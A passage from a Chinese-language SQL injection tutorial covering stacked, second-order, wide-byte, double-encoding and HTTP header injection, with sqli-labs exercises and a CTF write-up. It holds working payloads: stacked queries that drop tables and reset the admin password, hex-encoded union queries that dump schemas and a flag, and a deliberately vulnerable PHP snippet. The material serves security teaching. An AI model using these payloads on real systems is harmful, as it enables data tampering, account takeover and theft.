五、堆叠注入

(1)概念:

在sql中,分号代表一条sql语句结束,而堆叠注入就是多条sql一起执行

(2)原理:

堆叠注入不同于其他注入,有局限性。
语句:
1’;create table test like users—+
1’;drop table test—+
1’;update users set password=’admin@123’ where username=’admin’—+
通过第三条语句能够修改数据,
前提是你需要知道字段,表名称

(3)如何知道字段以及表名称:

  • 目录遍历,.sql后缀的文件 或者直接fuzz .sql文件 或者去寻找源码泄露 CMS git 谷歌上
  • 通过其他类型的注入,得到对应的字段和表的名称
  • 通过phpadmin 进行查看


(4)堆叠注入练习:sqlilabs第38关

在实战中,由于正常数据库只会回显出我们想要的结果,所以,堆叠注入在黑盒测试下只能通过模糊测试来进行测试。由于是直接执行多条SQL语句,所以对SQL语句就并无限制,可以通过堆叠注入增删改查等数据库操作。

其他注入 拿到了密码,但是密码是加密的 而且也解不开
堆叠注入 update 更新他的密码 源码泄露


六、二次注入:

(1)二次注入原理:

所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。

主要分为两步
第一步: 插入恶意数据
第一次进行数据库插入数据的时候,仅仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对对其中的特殊字符进行了转义,在写入数据库的时候保留了原来的数据,在写入数据库的时候还是保留了但是数据本身还是脏数据。

第二步:引用恶意数据
在将数据存入到了数据库中之后,开发者认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的效验和处理,这样就会造成二次注入。
image.png
练习:
sqlilabs第24关
注册用户的时候用了mysql_escape_string过滤参数:但是还是可以往数据库中插入脏数据

创建一个账户admin’# ,再去修改admin’#的密码,#就会闭合单引号
image.png

Username直接从数据库中取出,没有经过转义处理。在更新用户密码的时候其实执行了下面的命令:
“UPDATEusers SET PASSWORD=’22’ where username=’admin’#‘ and password=’$curr_pass’”;
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入;

(2)二次注入实例——“强网杯”three hit

引用 https://www.freebuf.com/articles/web/167089.html 中的内容
题目描述:
4、常见的几种注入(2) - 图3
打开看看:
4、常见的几种注入(2) - 图4
尝试注入失败
4、常见的几种注入(2) - 图5
注册一个账号:
4、常见的几种注入(2) - 图6
登陆进去会显示用户名,age,以及和该用户age相同的用户名。这里题目对用户名做了限制只能为0-9a-zA-Z,对age限制为只能是数字。
根据题目的显示,猜测SQL语句

  1. Select name from table whereage=xx limit 0,1

猜测age处存在SQL注入, 这里后来看了其他大佬的解题思路,某大佬直接访问.index.php.swp,获得了源代码(其实是比赛方在修改代码,非预期):
4、常见的几种注入(2) - 图7
可以看到对age进行了is_numeric处理,可以用16进制编码绕过。
Payload:

  1. 1 and 1=2#
  2. 0x3120616e6420313d3223

用0x3120616e6420313d3223作为age注册一个用户:
4、常见的几种注入(2) - 图8
发现查询为空。
再试试

  1. 1 and 1=1#
  2. 0x3120616e6420313d3123

用0x3120616e6420313d3123作为age注册一个用户:
4、常见的几种注入(2) - 图9
此时发现可以查询到aaa用户,根据and 1=1 和 and 1=2返回不同判断此处存在二次SQL注入,注册用户的age字段直接被后续的查询语句所调用。接下来的操作和普通的SQL注入测试操作没有什么区别,首先还是测有几列:
Payload:

  1. 1 order by4#

注册age为0x31206f72646572206279203423的用户:
4、常见的几种注入(2) - 图10
查询正常。
Payload:
【此处内容缺失】
注册age为0x31206f72646572206279203523的用户:
4、常见的几种注入(2) - 图11
查询失败,可以判断列数为4,接下来就是暴库,首先用union看看可以利用显示的字段:
4、常见的几种注入(2) - 图12
可以看到第二列可以用来显示,接下来暴库:
Payload:

  1. 1 and 1=2union select 1,group_concat(schema_name),3,4 from information_schema.schemata#
  2. 0x3120616e6420313d3220756e696f6e2073656c65637420312c67726f75705f636f6e63617428736368656d615f6e616d65292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d61746123

4、常见的几种注入(2) - 图13
可以看到 数据库名qwb,接下来爆表:
Payload:

  1. 1 and 1=2union select 1,group_concat(table_name),3,4 from information_schema.tableswhere table_schema='qwb'#
  2. 0x3120616e6420313d3220756e696f6e2073656c65637420312c67726f75705f636f6e636174287461626c655f6e616d65292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d277177622723

4、常见的几种注入(2) - 图14
最终payload:

  1. 19 and 1=2union select null,concat(flag),null,null from flag#
  2. 0x313920616e6420313d3220756e696f6e2073656c656374206e756c6c2c636f6e63617428666c6167292c6e756c6c2c6e756c6c2066726f6d20666c616723

注册一个age为0x313920616e6420313d3220756e696f6e2073656c656374206e756c6c2c636f6e63617428666c6167292c6e756c6c2c6e756c6c2066726f6d20666c616723的用户:
4、常见的几种注入(2) - 图15

七、宽字节注入:

单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。
多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
两位的多字节字符有一个前导字节和尾字节。 在某个多字节字符集内,前导字节位于某个特定范围内,尾字节也一样。
UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。

常见的宽字节类型: GB2312、GBK、GB18030、BIG5、Shift_JIS
GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。

(1)原理:

所有英文默认占一个字节,汉字占两个字节
当传递一个参数id=1 ‘ 的时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加“\”给过滤掉,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”干掉,那如何才能干掉呢?当http协议传输的时候,是要经过url编码,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样的编码,最后这样解码的时候,这个%81就会和“/”对应的编码相结合按照gbk编码要求去解码,最后只剩下个单引号。

(2)条件:

  • 是否使用preg_replace 把单引号替换成 \
  • 数据库查询设置为GBK编码
  • 使用了addslashes()进行转义
  • 是否mysql_real_escape_string(),mysql_escape_string()之类的函数

而形成 宽字节注入 的方法,有:
SET NAMES ‘gbk’
或者(上面一行等于 下面三行)
SET character_set_connection=’gbk’
SET character_set_results=’gbk’
SET character_set_client=gbk

一张图让你了解宽字节注入:
image.png
附:GBK编码表 https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php

(3)宽字节注入练习:sqlilabs第36关

在代码中,对一些特殊字符进行了转义,
image.png
把%df + /的url 编码 联合起来一起识别 ,%5c 是 \ 的url编码
image.png

构建查询语句
image.png

八、二次编码注入:

现在的web程序大多数都会进行参数过滤,通常使用addslashes()、mysql_real_escape_string()、mysql_escape_string()函数或者开启GPC的方式来防止注入,如果某处使用了urldecode或者rawurldecode函数,则会导致二次解码生成单引号而引发注入。
PHP中代码 urldecode()等编码函数放在了尴尬的位置,与PHP自身编码配合失误
image.png

  1. <?php
  2. error_reporting(E_ALL ^ E_DEPRECATED);
  3. header("Content-Type: text/html; charset=utf-8");
  4. $conn = mysql_connect('localhost', 'root', '123456');
  5. mysql_select_db("security", $conn);
  6. //mysql_query("SET NAMES 'gbk'", $conn);
  7. $id = mysql_real_escape_string($_GET['id']);
  8. $id = urldecode($id);
  9. $sql = "select * from users where id='$id'";
  10. $query = mysql_query($sql, $conn);
  11. if($query == True)
  12. {
  13. $result = mysql_fetch_array($query);
  14. $username = $result["username"];
  15. $password = $result["password"];
  16. print_r('用户名: ' . $username . '<br />');
  17. print_r('密 码: ' . $password . '<br />');
  18. print_r('<br />SQL语句:' . $sql);
  19. }
  20. mysql_close($conn);
  21. ?>

九、HTTP头注入

HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的场景。有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证),或者通过http header头信息获取客户端的一些资料,比如useragent、accept字段等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。

(1) user-agent 注入

练习:

  • sqlilabs第18关 user-agent注入

两种闭合姿势:

  • ?id=1 ‘and xx or’ xx代表sql语句
  • ?id=1 ‘and xx and ‘1’=’1 xx代表sql语句

判断UA存在注入
image.png
image.png
image.png

(2) Referer 注入

  • sqlilabs第19关 referrer注入

image.png

(3) Cookie 注入

  • sqlilabs第20关 cookie注入

4、常见的几种注入(2) - 图25

(4) X-forwarded-for注入

X-Forwarded-For位于HTTP协议的请求头, 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入RFC 7239(Forwarded HTTP Extension)标准之中。

X-Forwarded-For包含多个IP地址,每个值通过逗号+空格分开,最左边(client1)是最原始客户端的IP地址,中间如果有多层代理,每一层代理会将连接它的客户端IP追加在X-Forwarded-For右边。

一般的客户端(例如浏览器)发送HTTP请求是没有X-Forwarded-For头的,当请求到达第一个代理服务器时,代理服务器会加上X-Forwarded-For请求头,并将值设为客户端的IP地址(也就是最左边第一个值),后面如果还有多个代理,会依次将IP追加到X-Forwarded-For头最右边,最终请求到达Web应用服务器,应用通过获取X-Forwarded-For头取左边第一个IP即为客户端真实IP。

但是如果客户端在发起请求时,请求头上带上一个伪造的X-Forwarded-For,由于后续每层代理只会追加而不会覆盖,那么最终到达应用服务器时,获取的左边第一个IP地址将会是客户端伪造的IP。也就是上面的如果一个投票系统用这种方式做的IP限制,那么很容易会被刷票。

我曾在一个钓鱼的网站登录页面,发现了一个 X-Forwarded-For 的注入